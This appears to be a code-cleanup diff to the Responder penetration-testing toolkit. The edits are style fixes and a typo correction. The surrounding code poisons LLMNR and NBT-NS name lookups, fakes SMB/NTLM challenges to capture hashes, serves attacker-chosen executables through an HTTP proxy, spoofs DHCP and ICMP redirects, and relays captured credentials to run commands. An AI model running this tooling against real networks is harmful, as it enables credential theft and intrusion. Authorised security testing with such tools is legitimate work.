("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"), ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
@ -1131,7 +1131,7 @@ class SMBSession1Data(Packet):
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
("NTLMSSPNTLMPadding", ""), ("NTLMSSPNTLMPadding", ""),
("NativeOs","Windows Server 2003 3790 Service Pack 2"), ("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOsTerminator","\x00\x00"), ("NativeOsTerminator","\x00\x00"),
("NativeLAN", "Windows Server 2003 5.2"), ("NativeLAN", "Windows Server 2003 5.2"),
("NativeLANTerminator","\x00\x00"), ("NativeLANTerminator","\x00\x00"),
@ -1155,7 +1155,7 @@ class SMBSession1Data(Packet):
###### Bcc len ###### Bcc len
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"]) BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
###### SecBlobLen ###### SecBlobLen
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob)) self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
self.fields["Bcc"] = struct.pack("<h", len(BccLen)) self.fields["Bcc"] = struct.pack("<h", len(BccLen))
@ -1185,7 +1185,7 @@ class SMBSession1Data(Packet):
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
@ -1203,7 +1203,7 @@ class SMBSession2Accept(Packet):
("SecBlobLen", "\x09\x00"), ("SecBlobLen", "\x09\x00"),
("Bcc", "\x89\x01"), ("Bcc", "\x89\x01"),
("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"), ("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
("NativeOs","Windows Server 2003 3790 Service Pack 2"), ("NativeOs","Windows Server 2003 3790 Service Pack 2"),
("NativeOsTerminator","\x00\x00"), ("NativeOsTerminator","\x00\x00"),
("NativeLAN", "Windows Server 2003 5.2"), ("NativeLAN", "Windows Server 2003 5.2"),
("NativeLANTerminator","\x00\x00"), ("NativeLANTerminator","\x00\x00"),
@ -1230,7 +1230,7 @@ class SMBTreeData(Packet):
("GuestShareAccessRight","\x00\x00\x00\x00"), ("GuestShareAccessRight","\x00\x00\x00\x00"),
("Bcc", "\x94\x00"), ("Bcc", "\x94\x00"),
("Service", "IPC"), ("Service", "IPC"),
("ServiceTerminator","\x00\x00\x00\x00"), ("ServiceTerminator","\x00\x00\x00\x00"),
]) ])
def calculate(self): def calculate(self):
@ -1245,7 +1245,7 @@ class SMBTreeData(Packet):
class SMBSessTreeAns(Packet): class SMBSessTreeAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x03"), ("Wordcount", "\x03"),
("Command", "\x75"), ("Command", "\x75"),
("Reserved", "\x00"), ("Reserved", "\x00"),
("AndXoffset", "\x4e\x00"), ("AndXoffset", "\x4e\x00"),
("Action", "\x01\x00"), ("Action", "\x01\x00"),
@ -1300,7 +1300,7 @@ class SMB2Nego(Packet):
("Bcc", "\x62\x00"), ("Bcc", "\x62\x00"),
("Data", "") ("Data", "")
]) ])
def calculate(self): def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"]))) self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))

2
poisoners/LLMNR.py
View file

@ -30,7 +30,7 @@ def Parse_LLMNR_Name(data):
return Name return Name
def IsOnTheSameSubnet(ip, net): def IsOnTheSameSubnet(ip, net):
net = net+'/24' net += '/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/') netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)

4
poisoners/NBTNS.py
View file

@ -30,11 +30,11 @@ def Validate_NBT_NS(data):
if NBT_NS_Role(data[43:46]) == "File Server": if NBT_NS_Role(data[43:46]) == "File Server":
return True return True
if settings.Config.NBTNSDomain == True: if settings.Config.NBTNSDomain:
if NBT_NS_Role(data[43:46]) == "Domain Controller": if NBT_NS_Role(data[43:46]) == "Domain Controller":
return True return True
if settings.Config.Wredirect == True: if settings.Config.Wredirect:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
return True return True

4
servers/HTTP.py
View file

@ -149,7 +149,7 @@ def PacketSequence(data, client):
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the custom HTML if needed # Serve the custom HTML if needed
if settings.Config.Serve_Html == True: if settings.Config.Serve_Html:
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
WPAD_Custom = WpadCustom(data, client) WPAD_Custom = WpadCustom(data, client)
@ -209,7 +209,7 @@ def PacketSequence(data, client):
return str(Buffer) return str(Buffer)
else: else:
if settings.Config.Basic == True: if settings.Config.Basic:
Response = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client) print text("[HTTP] Sending BASIC authentication request to %s" % client)

10
servers/HTTP_Proxy.py
View file

@ -29,7 +29,7 @@ IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com',
def InjectData(data, client, req_uri): def InjectData(data, client, req_uri):
# Serve the .exe if needed # Serve the .exe if needed
if settings.Config.Serve_Always == True: if settings.Config.Serve_Always:
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
# Serve the .exe if needed and client requested a .exe # Serve the .exe if needed and client requested a .exe
@ -53,7 +53,7 @@ def InjectData(data, client, req_uri):
if "content-type: text/html" in Headers.lower(): if "content-type: text/html" in Headers.lower():
# Serve the custom HTML if needed # Serve the custom HTML if needed
if settings.Config.Serve_Html == True: if settings.Config.Serve_Html:
return RespondWithFile(client, settings.Config.Html_Filename) return RespondWithFile(client, settings.Config.Html_Filename)
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
@ -121,7 +121,7 @@ class ProxySock:
# Ask him to create a tunnel connection to the target host/port # Ask him to create a tunnel connection to the target host/port
self.socket.send( self.socket.send(
("CONNECT %s:%d HTTP/1.1\r\n" + ("CONNECT %s:%d HTTP/1.1\r\n" +
"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port)); "Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port))
# Get the response # Get the response
resp = self.socket.recv(4096) resp = self.socket.recv(4096)
@ -198,7 +198,7 @@ class ProxySock:
# Return the (host, port) of the actual target, not the proxy gateway # Return the (host, port) of the actual target, not the proxy gateway
def getpeername(self) : def getpeername(self) :
return (self.host, self.port) return self.host, self.port
# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao. # Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
@ -268,7 +268,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
#self.send_error(200, "OK") #self.send_error(200, "OK")
return return
if scm not in ('http') or fragment or not netloc: if scm not in 'http' or fragment or not netloc:
self.send_error(400, "bad url %s" % self.path) self.send_error(400, "bad url %s" % self.path)
return return

2
servers/MSSQL.py
View file

@ -22,7 +22,7 @@ from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import * from utils import *
class TDS_Login_Packet(): class TDS_Login_Packet:
def __init__(self, data): def __init__(self, data):
ClientNameOff = struct.unpack('<h', data[44:46])[0] ClientNameOff = struct.unpack('<h', data[44:46])[0]

2
settings.py
View file

@ -163,7 +163,7 @@ class Settings:
self.Verbose = options.Verbose self.Verbose = options.Verbose
self.CommandLine = str(sys.argv) self.CommandLine = str(sys.argv)
if self.HtmlToInject == None: if self.HtmlToInject is None:
self.HtmlToInject = '' self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)

6
tools/DHCP.py
View file

@ -281,7 +281,7 @@ def ParseDHCPCode(data):
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowleged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Request # DHCP Request
if OpCode == "\x03" and Respond_To_Requests: if OpCode == "\x03" and Respond_To_Requests:
@ -298,7 +298,7 @@ def ParseDHCPCode(data):
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowleged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
# DHCP Discover # DHCP Discover
if OpCode == "\x01" and Respond_To_Requests: if OpCode == "\x01" and Respond_To_Requests:
@ -315,7 +315,7 @@ def ParseDHCPCode(data):
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowleged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host): def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

6
tools/Icmp-Redirect.py
View file

@ -204,7 +204,7 @@ def ReceiveArpFrame(DstAddr):
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
return PrintMac,DstMac return PrintMac,DstMac
except: except:
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) print "[ARP]%s took too long to Respond. Please provide a valid host.\n"% DstAddr
exit(1) exit(1)
def IcmpRedirectSock(DestinationIP): def IcmpRedirectSock(DestinationIP):
@ -252,10 +252,10 @@ def RunThisInLoop(host, host2, ip):
sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
if __name__ == "__main__": if __name__ == "__main__":
if ToThisHost2 != None: if ToThisHost2 is not None:
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP) RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
if ToThisHost2 == None: if ToThisHost2 is None:
print text("[ICMP-Redir] Poisoning target...") print text("[ICMP-Redir] Poisoning target...")
IcmpRedirectSock(DestinationIP=ToThisHost) IcmpRedirectSock(DestinationIP=ToThisHost)
print text("[ICMP-Redir] Done.") print text("[ICMP-Redir] Done.")

2
tools/RelayPackets.py
View file

@ -17,7 +17,7 @@
import struct import struct
from odict import OrderedDict from odict import OrderedDict
class Packet(): class Packet:
fields = OrderedDict([ fields = OrderedDict([
("data", ""), ("data", ""),
]) ])

8
tools/SMBRelay.py
View file

@ -65,7 +65,7 @@ print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
class Packet(): class Packet:
fields = OrderedDict([ fields = OrderedDict([
("data", ""), ("data", ""),
]) ])
@ -88,14 +88,14 @@ Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=lo
def ReadData(outfile,Client, User, cmd=None): def ReadData(outfile,Client, User, cmd=None):
try: try:
with open(ResponderPATH+outfile,"r") as filestr: with open(ResponderPATH+outfile,"r") as filestr:
if cmd == None: if cmd is None:
String = Client+':'+User String = Client+':'+User
if re.search(String.encode('hex'), filestr.read().encode('hex')): if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close() filestr.close()
return True return True
else: else:
return False return False
if cmd != None: if cmd is not None:
String = Client+","+User+","+cmd String = Client+","+User+","+cmd
if re.search(String.encode('hex'), filestr.read().encode('hex')): if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close() filestr.close()
@ -255,7 +255,7 @@ def RunRelay(host, Command,Domain):
a = SmbRogueSrv139(Key,Target,DomainMachineName) a = SmbRogueSrv139(Key,Target,DomainMachineName)
if a is not None: if a is not None:
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
if Domain == None: if Domain is None:
Domain = OriginalDomain Domain = OriginalDomain
if ReadData("SMBRelay-Session.txt", Target, Username, CMD): if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
pass pass

4
utils.py
View file

@ -76,7 +76,7 @@ def RespondToThisName(Name):
return False return False
def RespondToThisHost(ClientIp, Name): def RespondToThisHost(ClientIp, Name):
return (RespondToThisIP(ClientIp) and RespondToThisName(Name)) return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def IsOsX(): def IsOsX():
return True if settings.Config.Os_version == "darwin" else False return True if settings.Config.Os_version == "darwin" else False
@ -121,7 +121,7 @@ def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data) logging.info("[*] Captured Hash: %s" % data)
if os.path.isfile(outfile) == False: if not os.path.isfile(outfile):
with open(outfile,"w") as outf: with open(outfile,"w") as outf:
outf.write(data) outf.write(data)
outf.write("\n") outf.write("\n")